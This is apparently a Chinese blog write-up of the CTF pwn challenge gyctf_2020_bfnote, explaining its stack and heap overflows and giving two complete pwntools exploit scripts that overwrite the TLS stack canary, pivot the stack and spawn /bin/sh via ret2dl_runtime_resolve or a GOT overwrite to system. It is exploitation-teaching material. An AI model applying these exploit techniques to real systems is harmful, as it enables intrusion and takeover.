i春秋公益赛之BFnote

题目链接:https://buuoj.cn/challenges#gyctf_2020_bfnote

首先检查程序开的保护:

 发现程序只开了canary和NX保护,接下来查看IDA反汇编出来的为代码,发现在输入description时存在栈溢出:

 在输入note时存在堆溢出:

 本题的难点在于不能通过覆盖canary的低字节来泄漏canary,也不好泄漏libc基址来构造ROP。

解法一:

canary是Linux的栈溢出保护机制,通常情况下是保存在TLS结构体中,而TLS结构体是由mmap分配的内存空间,故给了我们利用的可能。

利用思路:

  • 分配一个大小为0x200000的chunk,此时会调用mmap分配内存
  • 由上文的堆溢出漏洞可知,我们只要控制好v4的值,就可以向TLS结构体中写入数据,从而覆盖原有的canary
  • 绕过canary保护后通过把栈迁移到.bss段
  • ret2_dl_runtime_resolve

在构造ret2_dl_runtime_resolve时要注意利用的.bss地址不要过大或过小

ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx]; //在伪造时注意此处下标过大会指向非法地址导致失败

最终利用脚本:

#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./BFnote')
#p = remote('node3.buuoj.cn', 28177)
elf = ELF('BFnote')
libc = ELF('libc.so.6')

atol_got = elf.got['atol']
leave_ret = 0x08048578
read_plt = elf.plt['read']
pop_esi_edi_ebp_ret = 0x080489d9
pop_ebp_ret = 0x080489db
plt_0 = 0x08048450
_rel_plt = 0x080483d0
dynsym = 0x080481d8
dynstr = 0x080482c8

p.recvuntil('Give your description : ')
payload = 'A'*50 + '\x00\x41\x41\x41' + 'AAAA' + p32(0x0804a064)
p.sendline(payload)

p.recvuntil('Give your postscript : ')
payload = p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(0x0804a400) + p32(100) + p32(pop_ebp_ret) + p32(0x0804a400) + p32(leave_ret)
payload = payload.ljust(0x600, '\x00')
p.send(payload)

p.recvuntil('Give your notebook size : ')
p.sendline(str(0x200000))

p.recvuntil('Give your title size : ')
p.sendline(str(0x2016fc))

p.recvuntil('please re-enter :\n')
p.sendline('16')

p.recvuntil('Give your title : ')
p.sendline('CCCCCCCCCCCCC')

p.recvuntil('Give your note : ')
p.send('\x00\x41\x41\x41')

index_offset = 0x0804a41c - _rel_plt
r_offset = atol_got
r_info = (((0x0804a428 - dynsym) / 0x10) << 8) | 0x07
fake_reloc = p32(r_offset) + p32(r_info)
offset = 0x0804a400 + 0x50 - dynstr
fake_dynsym = p32(offset) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA' #函数返回地址,此处可随意
payload2 += p32(0x0804a400 + 0x50 + 0x8) #/bin/sh地址
payload2 += p32(0)
payload2 += p32(0)
payload2 += fake_reloc #0x0804a41c
payload2 += 'AAAA'
payload2 += fake_dynsym #0x0804a428
payload2 += 'A'*(80 - len(payload2))
payload2 += 'execve\x00\x00'
payload2 += '/bin/sh\x00'
payload2 += 'A'*(100 - len(payload2))
#gdb.attach(p)
p.send(payload2)
p.interactive()

 解法二:

通过调试我们可以发现atol函数的地址低于system函数的地址,用命令ROPgadget --binary BFnote --only 'inc|ret'发现程序有这样一段gadget:

 通过调试发现除去最低位后atol和system函数地址偏移相差0xdb

利用思路:

  • 利用inc把atol地址加0xdb
  • 向atol的最低位写入'\xa0'

最终exp如下:

#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./BFnote')
#p = remote('node3.buuoj.cn', 28092)
elf = ELF('BFnote')
libc = ELF('libc.so.6')

atol_got = elf.got['atol']
atol_plt = elf.plt['atol']
leave_ret = 0x08048578
read_plt = elf.plt['read']
pop_esi_edi_ebp_ret = 0x080489d9
pop_ebp_ret = 0x080489db
plt_0 = 0x08048450
_rel_plt = 0x080483d0
dynsym = 0x080481d8
dynstr = 0x080482c8
inc_ebp_ret = 0x08048434
ret_addr = 0x0804842a

p.recvuntil('Give your description : ')
payload = 'A'*50 + '\x00\x41\x41\x41' + 'AAAA' + p32(0x0804a204) #栈迁移到0x0804a500处
p.sendline(payload)

p.recvuntil('Give your postscript : ')
payload  = '/bin/sh\x00'.ljust(0x1a0, '\x00')
payload += p32(pop_ebp_ret) + p32(atol_got + 1 + 0x17fa8b40)
payload += p32(inc_ebp_ret) * 0xDB
payload += p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(atol_got) + p32(1) + p32(ret_addr) + p32(ret_addr) + p32(atol_plt) + 'AAAA' + p32(0x0804a060)
info("length of payload ==> " + str(len(payload)))
payload  = payload.ljust(0x600, '\x00')
#gdb.attach(p)
p.send(payload)

p.recvuntil('Give your notebook size : ')
#gdb.attach(p)
p.sendline(str(0x200000))

p.recvuntil('Give your title size : ')
p.sendline(str(0x2016fc))

p.recvuntil('please re-enter :\n')
#gdb.attach(p)
p.sendline('16')

p.recvuntil('Give your title : ')
p.sendline('CCCCCCCCCCCCC')

p.recvuntil('Give your note : ')
#gdb.attach(p)
p.send('\x00\x41\x41\x41')

#gdb.attach(p)
p.send('\xA0')

p.interactive()

 

posted @ 2020-03-06 10:28  countfatcode  阅读(411)  评论(0编辑  收藏  举报